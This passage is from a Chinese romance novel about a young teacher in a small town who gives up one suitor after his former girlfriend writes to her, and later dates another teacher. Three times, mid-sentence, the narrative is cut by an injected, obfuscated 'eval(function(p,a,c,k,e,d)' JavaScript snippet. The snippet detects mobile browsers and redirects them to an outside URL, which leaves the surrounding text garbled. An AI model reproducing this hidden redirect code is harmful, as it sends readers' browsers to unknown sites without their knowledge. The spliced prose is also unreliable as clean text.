王君和陈慧柔在灶台前忙活,屋外男人干活。 “处得怎么样?”王君小声问。 “还行吧。”陈慧柔低垂着头还有些不好意思。 王君哈哈笑了:“你们俩还真是口径一致,江泓来的时候我偷偷问过他了,和你的回答一模一样。我看啊,江家很快就要上门提亲了。” 陈慧柔抬起胳膊肘撞了王君一下,又羞又臊:“这才多久,还早呢,嫂子别乱说。” 后来,江家上门提亲没等到,等来的却是江泓前任写的信。 周三,陈慧柔上完第四节课,准备和黄沐卿出去吃饭,刚出校门口就被人叫住。 “慧柔。” 陈慧柔闻声望去,看着对方,想了一小会才叫出名字:“锦春?你怎么过来了。” 锦春上前,同黄沐卿笑了笑算打招呼,紧接着把陈慧柔拉到一旁,从包里神神秘秘拿出一封信塞给她:“我姐妹托我给你的。” “你姐妹?”陈慧柔看着信封,没署名。 锦春抿了抿唇,不自然地说出一个名字,陈慧柔还是没印象。 她叹了口气,直接道:“江泓的前女友。” 陈慧柔彻底怔住了,顿时觉得手里的信千斤重,整颗心也跟着往下坠。 锦春也有些不好意思:“她说,她想跟你说的话信里都写了,我就是负责来送信,具体情况也不清楚。慧柔,你跟江泓,是要结婚了吗?” 陈慧柔敛下眸,摇了摇头。 锦春有些许不忍:“信我送到,就先走了。” 陈慧柔:“谢谢。” 人都走了,陈慧柔还站在原地出神,黄沐卿察觉到不对劲,走过去挽住她的手:“怎么了?她给了你什么啊?” 陈慧柔偏过头看着黄沐卿,唇角扯出一丝苦笑:“我突然有点不舒服,就不陪你去吃饭了,我回办公室休息一下。” “等会,人刚走你就说不舒服,我看你脸色也不太好,到底怎么啦?” 黄沐卿比陈慧柔精得很,看着锦春离开的方向,脑海里隐约浮现出一个人的身影,只是一时半会想不起名字。 “这人来找你做什么?” “送信。”陈慧柔拿出信封,深呼吸:“帮江泓前女友送的。” 一说江泓前女友,黄沐卿就对上号了。 “先去吃饭,边吃边聊。” 黄沐卿二话不说拉着陈慧柔往巷口的面店去,点了两碗汤面,把筷子给她分好。陈慧柔看着信封出神,脑海里不断回想这些天和江泓的相处,并没有什么异常。 “江泓前女友我认识,就住我大姨家隔壁,她家可不简单,以前是大地主,名声差得很。”说起这些,黄沐卿头都低了几分,声音压得极低,生怕被隔壁桌听了去,倒有些为难她这个大嗓门了。 “她家和江家,有历史遗留问题,男方家以前因为女方家吃了不少苦,江泓父母死活不同意两人在一起,所以才分的手。” 陈慧柔趴在桌上,下巴搁在手背缓缓道:“他有前女友这事倒没瞒着,就是不知道因为什么分的手,我以为性格不合呢。” 面上来了,两人边吃边聊,陈慧柔没什么胃口,没吃几口就停下筷子,把信拆开来看。黄沐卿眼角余光扫了眼,好长一封,她低下头专心吃面,等着陈慧柔的反应。 结果一碗面见底,旁的人筷子都没拿起来。 “怎么样?” 陈慧柔把信叠好,塞回信封里,眼眶热热的。 看她这副表情,黄沐卿及时提醒:“你这不是在感动吧?别啊,又不是在看琼瑶的小说,是在看情敌的信,你硬气点。” 陈慧柔吸吸鼻子,温声道:“可她真的写得很好,能看得出来他们俩感情很深。” 黄沐卿有了不好的预感:“所以呢?” 她太了解陈慧柔了,这眼神出来多半就是心软想退出。 果不其然,下一秒就听到她说:“成人之美?” 这碗面白吃了,肚子胀得很,气胀的。 黄沐卿结完账,拉着陈慧柔快步回学校,憋了一路的话直到进办公室后才敢说,生怕在外面没控制住,嗓门一大让街坊邻居听了去。 小镇才多大,不过三个人的距离。随便打听一下,什么事情都知道得一清二楚。 “你和江泓处得好好的,就因为她一封信就要退出,小说看太多了是不是?更何况琼瑶主张的爱情观也不是这样吧?”黄沐卿给陈慧柔倒了杯水,一脸不理解,“他们两家摆明是不能处一块,要能谈妥,之前也用不着分。” 陈慧柔满脸惆怅:“这道理我也懂,可是她这信写得太真挚了,先前不知道细节可以装糊涂就这么过下去,现在不行了。” 黄沐卿知道,陈慧柔这是被膈应了,她不用看信里的内容也能猜个七七八八。 两人就这么沉默了好一会。 见陈慧柔心不在焉又没什么气力的样子,黄沐卿不敢再说狠话,只能安慰她:“算了,这种跟前任藕断丝连的,谈了也糟心。等我哥回来,让他给你介绍其他对象。” 陈慧柔推了黄沐卿一下,急道:“嘘,别乱说。” 黄沐卿:“不管你了,我还要出卷子,你自己想想看。” 日光透过窗户洒下半片光影,陈慧柔望着窗外斑驳墙壁的爬山虎出神,满脑子都是琼瑶小说里的情节,觉得自己就像苦情女主,就连谈段恋爱也格外不容易。 晚上回到西厢房,陈慧柔翻来覆去睡不着觉,闭上眼睛就是江泓和他前女友在一起的画面,挥之不去。 半夜爬起来开灯,坐在书桌前看着映在桌面的光晕陷入沉思,窗外的虫子见光扑到窗户上,翅膀忽闪着劈啪作响。 往日陈慧柔最讨厌这种声音,令她头皮发麻汗毛竖起,但今日,她思绪沉于自己这段初次的恋情里,无暇顾及。 也不知道江泓清不清楚前女友对他的感情这么深,两人私底下有没有见过面。陈慧柔不知道,也不敢直接问,怕对方觉得自己是不信任。 可有了这封信后,如果还继续跟江泓交往,那他前女友会不会想不开有什么过激的行为,陈慧柔也不得不多想一环。 这么多顾虑归根到底,还是最基本的问题—— 她真的爱江泓这个人吗?爱到可以为了他,去和另外一个女人争。 陈慧柔换了个姿势趴在桌上,拿出那份被她反复展开又叠上的信,抬手放到灯光下照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071781|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,看着上面的字迹,已经没有最开始那种揪心难受。 变相来说,这其实算不算答案。 小姑是起夜时发现西厢房的灯还亮着的,起初以为看错,还揉了揉眼睛,再三确认墙上的钟表后才推开房门走出去看。 隔着窗见陈慧柔对着张信纸走神,小姑琢磨了会,收起心思轻手轻脚地回屋。 第二天一早,小姑忙完家里的活后,就去了一趟陈家。 “你说她一晚上没睡?” 徐晓敏觉得不可思议,她仔细回想陈慧柔昨晚在家时的表现,也没什么异常:“她像往常一样扫完地就回去了,说是有书要看。” 小姑摆了摆手:“一定是有事,不然不会大半夜不睡觉在那里开着灯发呆。我看着好像都哭了,总之,你晚上等她回来,好好问问。” 徐晓敏点头:“谢谢她小姑。” “一家人说什么谢谢。” 送走小姑,徐晓敏回房换了件衣服,牵着陈慧琪的手就出门了。 陈慧柔下班回家,大门是上锁的,她拿钥匙时王君正好回来,也是一样惊讶的表情:“妈跟小妹不在家?” “嗯,好像出去了。” 陈慧柔推开门,把自行车搬进去,回头帮王君拎东西,是刚出锅的猪肠胀糯米。 “阿爸说想吃这口,下班经过南门看还有,就买回来了。” 陈慧柔淡笑:“阿爸可真会吃。” 饭做上了,徐晓敏带着陈慧琪也回来了,她一边挂外套,一边叫陈慧柔进屋,说是有话说。 陈慧琪搬着小凳子到屋外玩,被王君叫过去。 “妈带你去哪了?” “去莲姨家。”陈慧琪一边丢石子一边回答:“坐了好久,我本来跟小玉她们约好了一块跳皮筋的,回来都不见人了。” 王君挑了块切好的猪肠胀糯米给陈慧琪吃,半蹲下身问:“坐那么久啊?那她们都聊些什么,你知道吗?” 陈慧琪指了指里屋,嘴里含糊不清道:“聊大姐,大姐跟江泓哥的事。” 王君惊讶:“要提亲啦?” 陈慧琪摇摇头。 王君笑:“行,玩去吧,嫂子做饭。” 屋里,徐晓敏把电视打开,故意调高了音量,然后把陈慧柔拉到身边,问她:“和江泓处得怎么样?” 陈慧柔见徐晓敏难得严肃,下意识就想到那封信,莫非对方没等到她答复,又做了什么?一时间陈慧柔紧张得心怦怦直跳。 “妈,怎么突然问起这个?” “不突然啊,你们俩相处有段时间了,今天我还从你莲姨那听说,江家对你印象挺好的,就等着看你们自己提婚事,大人再帮忙张罗。”徐晓敏拍拍陈慧柔的手背,“妈就是想听听你的意思。” 陈慧柔抿了抿唇,指尖攥紧,视线落在电视上正演着的苦情剧,心绪倒是慢慢落定下来。 “妈,我不跟江泓处朋友了。” 长大,是知世故,明事理。是下雨时不会因为没带伞而慌乱,是恋爱时不会因为对方心思不在自己身上而感到自卑,是做选择时不会因为周围因素而摇摆不定。 当陈慧柔坚定说出这句话时,徐晓敏知道,大抵是没有回旋余地了。 “我能问问,是为什么吗?” 陈慧柔没瞒着徐晓敏,把江泓前女友给自己写信的事说给她听,徐晓敏沉默片刻,叹了口气。 “那你和江泓说了吗?” “还没,他约了我晚上去姑嫂桥散步,我打算到时候再和他说。” 5. 剩女 饭做好了,王君进来摆桌子,陈镇东和陈敬涛前后脚回来,陈慧柔起身帮忙端菜。饭桌上都是陈镇东和陈敬禹的声音,一个说厂里的事,一个说学校里的,其他人就是闷头吃饭,各自揣着心事。 “放学的时候,我碰到雁哥了,他好像和人打架,脸上青一块紫一块的。” 陈敬禹说的雁哥,是陈润雁,二伯家的孩子,比陈敬禹大两岁,成绩不怎么样,打架闯祸倒是常有。平日里陈镇东都不让家里的孩子和他玩,怕被带坏了。 陈敬涛消息多,补充道:“听说了,打的还是副校长的儿子。” 王君惊讶地瞪大了眼:“那岂不是……” 陈敬涛无奈摇头:“二伯又得帮他擦屁股,这几天说是学都不敢去上。” 陈镇东:“他就是不上学,也可以去做生意,润雁脑子灵活得很。” 一顿饭都是男人们在聊天,陈镇东放下碗筷,瞥了陈慧柔和徐晓敏一眼:“你们娘俩今晚怎么这么安静?” 陈敬涛看向陈慧柔,问:“你跟江泓晚上去看电影不?” 陈慧柔还没回答,门口就传来自行车刹车的声音,紧接大门被推开,江泓敲了敲:“陈叔,敏姨。” 陈慧柔放下碗筷,用方巾擦了擦嘴:“爸妈,我跟江泓出去一趟。” 说完起身拿起衣服和包包就走,速度快得连陈敬禹都没反应过来,人就已经消失在大门口。 “怎么回事?她这火急火燎的干什么?” 陈镇东指着门口,对徐晓敏就是一通埋怨:“你就该说说她,越大越不懂礼数。” 徐晓敏把碗往桌上一放,碰撞出清脆声响,连陈慧琪都停下吃饭的动作望过来。 “她不是跟你打招呼了吗?哪没礼貌了。” 分明很轻柔的语气却带着股不可忽视的威严,陈镇东哼了两声,叼着牙签离开餐桌。 家里气氛莫名其妙,陈敬禹只觉得嘴里的肉都不香了,快速扒拉完,回屋写作业。 年末的商店热闹得很,玻璃柜里全都是新上架的货品,有包装精致的零食,还有从广州批发过来的围巾、帽子、手套,款式新潮得很。 “想喝健力宝吗?” 路过一家小卖部,江泓主动问,陈慧柔摇摇头:“刚吃完,肚子太饱了。” 江泓:“那我们去南门桥走走?” 陈慧柔:“好。” 桥上晚风吹拂,两人并排走着,水面倒映着两岸建筑物的灯光,河里还有渔夫驾驶渔船撒网。 机动马达的声音“哒哒哒”地响,船头一盏昏黄渔灯不停摇曳,一下一下晃入陈慧柔的心里,将她想了一路的话,映得愈发清明。 “我们分开吧。” “我们结婚吧。” 异口不同声。 江泓看着陈慧柔微微发愣:“你刚刚说……” 他生怕自己听错了,陈慧柔却没有退怯,把话又重复了一遍。 “文婷给我写了一封信,我想你应该看一下。” 陈慧柔把信给了江泓,转身趴在桥边栏杆上,望着越行越远的渔船,语气平和:“我想她一定是下了很大决心,才会给我写这封信。” 夜晚的灯本就不够亮,江泓费劲都看不清纸上的字眼,只能叠好放回口袋里,和陈慧柔解释。 “我和文婷,初中就是同学,毕业后才在一起,可没过多久家里就知道了。父母不同意,我们俩就分开了,我是和她分开后才认识的你。” “我知道。” 陈慧柔点点头,但凡这时间线有什么出入,她今天也不会这么平静地站在江泓旁边聊这些。 “我这个人,心思浅得很,不会掩饰,你也是知道的。她既然给我写了这封信,我就不能当没收到过。江泓,我从小就不爱争,因为争不过。” 陈慧柔回过头,看向江泓。 读书的时候,父母偏爱大哥,大哥可以读高中参加高考,可以念中师,她初中毕业就得去打工,本来平等拥有的学习机会,在他们家是优先给男孩的,女孩想争都没机会。 逢年过节一条乌鱼端上桌,鱼术只有一个,按照其他人家的规矩,基本都是给桌上辈分最高的人吃,或是家里地位最高的。阿姆将它分三等分,阿爸、大哥、敬禹一人一块,她从来没吃过。 有一次她想尝尝味道,不是说,“有术”就是有本领有智慧吗?她也需要本领和智慧啊。争着下筷,徐晓敏却抢先一步,夹给了陈敬禹。从那之后,陈慧柔再也不惦记鱼术。 陈慧柔讨厌争抢的感觉,她希望的是从头到尾就属于自己的,且只属于。 “她还惦记着你,希望你们能重归于好,祝幸福。” 陈慧柔双手揣回口袋里,对江泓挤出一丝笑:“我先回去了。” “慧柔——” 江泓眼底情绪难辨,多少还有些反应不过来。今天他回家,长辈们都在,全都在问他和陈慧柔处得怎么样,明年开春是不是能把事办了。 想起陈慧柔,江泓心里觉得很安稳。他以为两人能走到最后,没想到她却提了分开,像铁了心一样。 江泓:“对不起,我不知道她会给你写信。” 陈慧柔笑:“没关系。” 转过身,她步伐越走越快,风吹在脸上有些迷眼,情不自禁抬手抹了把,指尖沾了湿意。陈慧柔有点讨厌这样的自己,前一秒勇敢果断成人之美,下一秒又觉得挫败委屈。 别人都是得到,只有她一直在失去。 得知陈慧柔和江泓提分手,陈镇东大发雷霆,气得打碎了家里一套茶具。原本以为过完年可以把姿娘嫁出去,谁知道谈得好好的,说分就分。 陈镇东坚定认为陈慧柔没有必要给其他人让步,写信怎么了,都过去的事情了,都分开了,能闹出什么幺蛾子来。 就是要闹,陈家也是占理的,难不成对方还想直接明抢? 徐晓敏没陈镇东这么想不开,多少还是因为江泓在这件事的态度上,表现得太过软弱。知道前女友给陈慧柔写信,陈慧柔提分手,他不也没有任何争取挽留的动作。 话说回来,这件事上最难受的还是陈慧柔,过年亲友走访,她都一个人待在西厢房看书,就是怕被人追问,跟江家什么时候办婚礼。她巴不得这个年快点过完,赶紧开学。 回归单身的陈慧柔,过日子像开了加速键一样,除了工作就是跟家里的生活。 9月10日全县城乡庆祝第二个教师节,她也收到了不少学生亲手做的卡片礼物。陈慧柔彻底爱上教师这份职业,并将全部心里都倾注在教学事业上。 次年八月,正值台风季,县里骤降暴雨。 陈敬涛早早就做了准备,跟陈敬禹拿着家里几个米袋子去小姑父工地上装了几袋砂石,堵门口防止雨水倒灌进屋。 17号台风登陆当晚,狂风骤雨吓得陈慧琪一晚上都没睡好,闪电劈下来,紧接着就是轰隆隆的雷声,她立马吓醒,脸色煞白。 “要是大姐在就好了。” 陈慧琪小声啜泣,陈慧柔要是在,一定会抱着她一块睡,而不是像现在这样,没有人在乎被雷电吓醒的她。 大雨连下了四日,学校后面也停课了,陈慧柔就待在西厢房出卷子,哪都没去,出了门就得趟大水,危险的很。 大雨导致民房倒塌一百多间,还冲坏了十八座桥梁,受灾人口四千多人,县里损失经济高达八百多万元。 雨停了,陈敬涛一边修缮被大风刮坏的窗户,一边同屋里家人说台风后的受灾情况。陈敬禹在旁边负责递工具,对这话题不怎么感兴趣。 “最讨厌下雨天,更讨厌台风天。” “我多买了几块板子,待会跟我去趟慧柔那,看看她西厢房有没有需要修补的地方?” 陈敬涛把工具收到包里,拍了拍沾满木屑砂石的裤腿,走到水池边把手洗干净。王君刚煮好午饭,听到丈夫的话—— “不用去了,慧柔早上来过家里,妈问了,她说她那没有什么需要修的。台风天前,小姑父就已经统一加防加严了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071782|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陈敬涛“哦”了一声:“那就好。” 王君:“洗手吃饭了。” 台风季从夏天拉长到秋天,感觉一整个暑假都像是在雨水里泡过,新学期开始,又陆续因为两号台风停课。 忽冷忽热的天气,像是把一切都闷在大蒸笼里,时而燥热,时而潮湿,时而阴冷,陈慧柔不喜欢这种模糊的秋天季节,比任何人都迫切地盼来了冬天。 立冬,陈慧柔从学校回来,推着车进巷子里,沿路闻到各家煲汤的味,有鱼汤的腥味也有肉汤的荤香。 把车停在天井旁,推开门就看到陈慧琪在院子里洗菜。 “大姐。” 陈慧琪鼻尖都冻红了。 “怎么轮到你做饭?”陈慧柔拉起陈慧琪,见她手冻得通红,有些不忍:“我来吧。” 陈慧琪吸吸鼻子:“嫂子不舒服,在屋里休息。爸刚从店里回来,见饭还没煮就发脾气了。” 79年那会,县里就开展调整产业结构和产品结构,淘汰一批原料缺、质量低、产品销路差、效益差的企业。陈镇东所在的食品厂虽然没有在名单里,但也知道,改革是早晚的事。 今年8月,县里几个地方国营工业企业实行税利目标责任制改革,食品厂就在名单里。按“照章纳税、核定基数、确保上缴、超收多留、欠收自补”的原则,与县经委、财政局、税务局签订承包合同,责任落实到位。 政策下来后不久,陈镇东就从厂里退休了。亲朋好友都说退得正是时候,碰上这会调整,领导班子一个个都为厂里效益犯愁,他倒是抽开身,可以不用操心。 可陈镇东闲不下来啊,风风火火干了大半辈子的活,这一下子退休,整天待在家里,感觉浑身上下不舒服得都要长蘑菇了,天天筹划着还能做什么小生意。 陈家在后街有个小铺面,陈镇东和陈敬涛商量了一下,开了间兴隆包店做面包,徐晓敏没事就过去帮忙。后来王君干脆从厂里辞职,和公婆一块做面包店的生意。几个月经营下来,效益还算可以。 上个月王君查出怀孕,妊娠反应有点大。徐晓敏就让她先在家里稳胎,等过了三个月,身体情况好些了再去店里帮忙。 陈敬禹去年考上了汕头大学,出去读书住宿,陈敬涛夫妇就搬到里面的屋子住,不用爬上爬下。阁楼现在变成陈慧琪的屋子,外屋原本搭着的床铺收起,显得宽敞了些。 包店人手少,陈镇东忙得头昏眼花,回到家想着能吃口热饭,结果王君在里屋睡觉,陈慧琪在做作业,米都没下锅,顿时气不打一处来。 “爸现在脾气越来越差,你少跟他对着来,先去写作业吧,这儿大姐来。” 陈慧柔干活利落,没一会儿就可以吃饭了,陈敬涛把饭桌支起来,回屋喊王君出来吃饭。陈慧柔端着汤上桌,先给陈镇东盛了碗:“爸,先喝碗汤暖下肚子。” 陈镇东吃了两块绿豆糕垫肚子,气也消了大半。想起今天在店里听到的事儿,问陈慧柔:“我听刘校长说,他给你介绍余老师家的二儿子,你拒绝了?为什么?” 徐晓敏刚落座就听到这句话,嘀咕:“饭桌上别聊这些。” “不聊这些聊什么?聊猪肉一斤多少钱?家常不就是在饭桌上聊出来的?” 陈镇东现在的脾气就跟炮仗似的一点就着,徐晓敏都懒得跟他说,通常一句劝不下去就不开口了。 陈慧柔只能耐心解释:“余序洲也是老师,但不是在镇上的学校。我不想谈同行,一家子都是老师,挺没意思的。” 陈镇东恨铁不成钢:“你就是挑,也不看看几岁了,再这么下去,三十都嫁不出去!” 陈敬涛扶着王君出来就听到这句,当大哥的,总得表示一下。 “爸您别急,等我问问学校里的老师,看他们家里有没有什么亲戚朋友年龄合适的,给阿柔牵线。” 陈镇东瞪了陈敬涛一眼,严厉道:“你要把这件事放在心上,听到没有!” 陈敬涛:“一定,一定。” 6. 老二 1988年,王君生了个女儿,梓字辈,取名的时候特地找了先生来算,说缺金,陈镇东就做主给她定了个“钰”字,大名叫陈梓钰。 1982年县政府就发出了《关于贯彻中共中央、国.务.院关于进一步做好计划生育工作的指示意见》,规定国家干部、职工、城镇居民除特殊情况经过批准外,一对夫妇只能生育一个孩子。 陈敬涛是职工教师,按照计划生育政策,只能生一个孩子。全家盼了十个月盼来一个姿娘,陈镇东失望得好几晚都没睡着。 王君怀孕的时候,徐晓敏经常给她买羊奶喝,小梓钰生下来白白胖胖的,一双眼睛又大又圆,漂亮得紧,瞬间吸引了全家的注意力,就连陈镇东也不例外。 总归是当爷爷了,大不了把留后的希望寄托在陈敬禹身上就是。陈镇东逐渐舒心,每天除了忙店里的事,就是给小梓钰做玩具。 同年,陈慧柔带的学生升上六年级,她也跟着一起。带毕业班是双倍忙碌,陈慧柔回家待着的时间少,谈对象的事就没人再提。 谁都没记起陈敬涛说的,要负责帮陈慧柔找对象的事。 时间进入90年代,陈慧柔二十七岁了。过年走街串巷给亲戚朋友拜年的时候,陈镇东两口子没少被人追着问,大妹怎么还没谈对象。 小镇上的人说话土,见着陈镇东就说:“陈总工啊,家里三件不能留,屎不能留,走仔(女儿)不能留,死人不能留。这道理你会不知道?不能因为跟女儿亲,就一直留在家里啊。” 徐晓敏是退休老师,有文化有教养,对这样的土话是嗤之以鼻,极不乐意去应付。 也就陈镇东听了进去,回家就骂陈敬涛,当初把帮陈慧柔找对象的事给揽了过去,结果两年多过去了,一点动静都没有。 陈敬涛顿时有了压力,在学校,一没有课就“执行任务”,四处打听。 很快,有个和他关系不错的老师帮忙介绍:“余光亮老师你认识吧?他家小儿子也还没对象,年龄跟你妹妹相仿,要不给你俩牵个线?” 余光亮老师在学校名声是极高的,也是几十年老教师,教学成绩斐然。 陈敬涛一听,大腿一拍,脸上一片喜色:“那可太好了!” 当晚陈敬涛就把同事介绍的情况和家里人说了一遍,陈慧柔越听,眉头皱得越紧。 最先憋不住开口的是王君:“我怎么记得这名字,好像在哪里听过?” 陈镇东讪笑,竖起两根手指头:“两年前,人家刘校长介绍的就是这个余序洲,面都没见,就被你妹妹给拒绝了。” 还有这事? 陈敬涛记不清原因了:“为什么?” 王君也反应过来,啧了他一声:“慧柔当时不想找当老师的对象,你怎么又忘了。” 陈敬涛瞬间一脸的挫败,亏他把对方的情况了解得那么仔细,还和余光亮老师聊了好几次,结果是两年前就被陈慧柔拒绝过的人。 一整个白干。 沉默弥漫了一整间屋子,徐晓敏拍了拍陈慧琪示意她回屋写作业,王君也借口要哄睡陈梓钰先离开。 外屋就剩下陈镇东夫妇和陈敬涛、陈慧柔四个人。 陈慧柔:“大哥,我去见见这人吧。” 陈敬涛还以为自己听错了:“不拒绝了吗?” 连陈镇东也投过来诧异的眼神,唯独陈慧柔一脸平静:“前后介绍了两次,也算是一种缘分不是?” 与其扯缘,不如聊些现实点的。 徐晓敏摘下老花镜,娓娓道来:“余家是和西门赵家结的亲,余老师的妻子也是老师,和我一样退休了。他家三个孩子,老大在罐头厂上班,老二,就是这个余序洲,毕业后就在高堂教书,还有个小妹,也是读的师范。家里情况和我们一样,教书匠的家庭,简单淳朴,事儿也不多。” 陈镇东拿了件外套摊开盖在膝上,见妻子两手空空,示意陈敬涛把灌了水的热水袋递过去。 徐晓敏:“谈对象,条件相当就好。” 陈慧柔点点头。 第二天,陈敬涛去到学校第一件事就是找余光亮老师。两家两年前没牵上的姻缘线,就这么续上了。 余家从前的条件不如陈家,余序洲小时候是被寄养在白水湖的表姨那,白天上学,下课后就得去地里干活,割草放牛什么都干过。初中毕业才回到镇上和父母生活在一起,工作分配在高堂中学,骑车过去一趟得一个多小时。 每周一到五,他就住学校,几个男教职工挤一个宿舍,上下铺条件简陋,周五上午下了课就回镇上。 和余序洲的初次见面是在红星电影院,晚饭后陈敬涛送陈慧柔去影院门口,彼时余序洲已经到了。 守时,在往后很多年都是余序洲的优点之一。 余序洲个子高,眼睛不大,笑起来眯成一条缝,第一次见,陈慧柔觉得他就是个老实人,不圆滑也不鲁莽,有点幽默但不多,给人一种很踏实的感觉。 回去后徐晓敏问她,是不是适合一起过日子的人。 陈慧柔犹豫了一下:“算是吧。” 徐晓敏:“那就行了。” 没过多久,两人正式交往。 余序洲记着陈慧柔的喜好,知道她爱看书,彼时汪国真出版了第一部诗集《年轻的潮》,市面上很难买到,他就从学校老师那借过来抄给陈慧柔。 余序洲的字清秀好看,陈慧柔每一张稿纸都珍藏着。 偶然听黄沐卿说高堂小吃咸水粿很出名,陈慧柔没吃过,随口提了一下,余序洲下了课就赶去摊子上买,骑车直接送到西厢房给她。 高堂镇的特色就是菜脯,几乎每家每户都有腌制菜脯的习惯,每年一到立冬,各家就开始囤萝卜。白天院子里,房前房后全都是切好的白萝卜,有些甚至都晒到了房顶上。 咸水粿是由菜脯延伸出来的一道小吃,是传统水粿上加了一层切碎炒过的菜脯粒。陈慧柔尝了尝,确实不错。 谈恋爱后,余序洲住家的次数变多了,往常一个多小时的车程他硬是压到四十五分钟,回家扒拉两口饭就出门。 陈慧柔还住在小姑家的西厢房,晚饭后正在帮表妹辅导功课,余序洲就来了。 “小洲啊,阿萍这刚接触英语还都摸不着入门,你要不给指导一下?” 余序洲在高堂教的是初中英语,小姑父难得开口,他正处于需要表现的阶段,没犹豫就应了下来。 后来连着几晚,约会都变成帮表妹补课,辅导完,两个年轻人才出门压马路,时间有限,最多就只能在附近两条街逛逛。 “你当初怎么想到学英语的?” 余序洲给阿萍辅导的时候,陈慧柔就坐在一旁看书,字没看进去几行,注意力全在单词发音上,她不会英语,就觉得有股莫名的吸引力。 “我是中途去进修的,一开始和你一样,也是教的小学语文。后来英语课普及,教育局重视,抽调一批青年老师去中师进修学英语,我就报名了。” 余序洲也是脱产读的师范,两年后毕业就分配到高堂中学。 巷子口的小卖部在卖瓶子汽水,余序洲给陈慧柔买了瓶,盖子打开插上吸管后才递给她。 “阿萍挺聪明的,一点就通,应该很快就能进入状态了。” 陈慧柔:“还得谢谢你。” 余序洲不好意思地挠挠头。 把陈慧柔送回家,余序洲骑着车绕过南门桥回了家。 1991年元旦,扩建的黄冈大桥竣工通车,余序洲第一时间带着陈慧柔去看新大桥。 只见两旁围上“双龙朝牡丹”图案的生铁铸件栏杆,乍一看很有特色,陈慧柔还伸手摸了一下,感叹这图案做得栩栩如生,比原先桥梁两旁精致许多。 全桥安装汞灯、钠灯、白炽灯共147盏,即便是在夜间也能亮如白昼。比起原先的大桥,一到夜晚就很昏暗,全靠着车灯和河里的渔灯借光。 “以后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吃完红豆沙的陈慧琪跑过来,勾勾黄沐卿手指头,笑眯眯:“卿姐你可以跟我一起,就不用夹在中间了。” “哈哈哈哈哈还是慧琪聪明。”黄沐卿捏着她的脸问:“对了,你觉得余老师怎么样?” 陈慧柔不好意思:“你问小孩这问题干什么?” 陈慧琪努了努嘴:“我都要上初中了,不是小孩了。” 黄沐卿帮着陈慧琪说话:“就是,慧琪现在是有判断力和观察力的学生了,所以你觉得怎么样?” 被黄沐卿这么一说,陈慧柔倒有些期待小妹的回答了。 陈慧琪:“洲哥挺好的,不像二哥那么吵,阿爸说什么他都听。他对大姐也很好,大姐说东,他都不敢往西,全听大姐的。” “总结得很到位,有赏。” 黄沐卿竖起大拇指,又从口袋里掏出两颗大白兔奶糖给陈慧琪作奖励。陈慧柔在一旁看着,也伸出手心。 “请黄老师也奖励我一颗糖。” “给,都给。” 等陈慧琪跑开,黄沐卿敛回笑意:“你跟余老师的性子太像了,有时候我还真愿意你找个像陈敬禹这种的,为人机灵,胆大包天,愿意拉着你出去闯。” 陈慧柔:“不,处不来,我和陈敬禹就老打架。” “那是因为你们是兄妹,抛开这点平心而论,陈敬禹做事是不是敢想敢做?是不是敢去争抢,敢出人头地?” 黄沐卿手托着下巴,望着大锅沿往上冒的蒸汽,“反正我在余老师身上看不到这点,你们都是家里的老二,循规蹈矩的,太老实。” 老实人,总是要吃亏。 这后面的话黄沐卿没说出来,她觉得陈慧柔应该听得明白。 然而,陈慧柔却说:“循规蹈矩挺好的,老实过日子。” 7. 争渡 粽子蒸好出锅,黄沐卿带了几个回去,刚出巷子就遇到余序洲,见他车筐里也放了一袋粽子,忍不住笑:“余老师也来送粽子了?” “啊对……”余序洲憨憨笑了笑。 黄沐卿:“快进去吧,慧柔做的粽子刚出锅,赶上趟了。” 余序洲:“行。” “对了余老师,你想过调到镇上的中学来教书吗?这黄冈跟高堂一来一回也不少时间,奔波。” 余序洲攥着车把手,沉吟片刻:“嗯……还得看政策,有机会的话我一定会争取的。” 黄沐卿笑着点点头:“那得抓紧打听了,不然总这么来回跑,也累。我就是随便问问,您别介意。走了,你快进去吧。” 余序洲:“没事,路上小心。” 车子停在门口,余序洲拎着粽子进去,陈慧柔闻声回头,以为是黄沐卿落下什么东西。见是余序洲来了颇为惊讶:“我以为你得午饭后才回呢。” “给你带了老妈宫棕,甜咸双拼的。” 见余序洲另一只手还拎着包,陈慧柔就知道他是从高堂直接过来的,还没回过家就先往这来了。 陈慧柔:“先洗手,粽子刚出锅吃一个?” 余序洲望了眼里屋:“你爸妈呢?” “在店里,这几天过节买面包的人不少,等把最后一批粽子放下锅煮,我就去给他们送饭。” 陈慧柔在小院里支了张圆桌,给余序洲一副新碗筷,又回头叫陈慧琪:“阿琪,你也来先吃。” 余序洲洗完手,在陈慧柔旁边坐下:“你大哥跟大嫂呢?” 陈慧柔:“在屋里喂梓钰。” “你要不尝一尝老妈宫棕?我排队买的,就是得再热一热。” 余序洲打开袋子,陈慧琪端着碗凑过来看。 陈慧柔:“行,我多热两个,我们分着吃。” 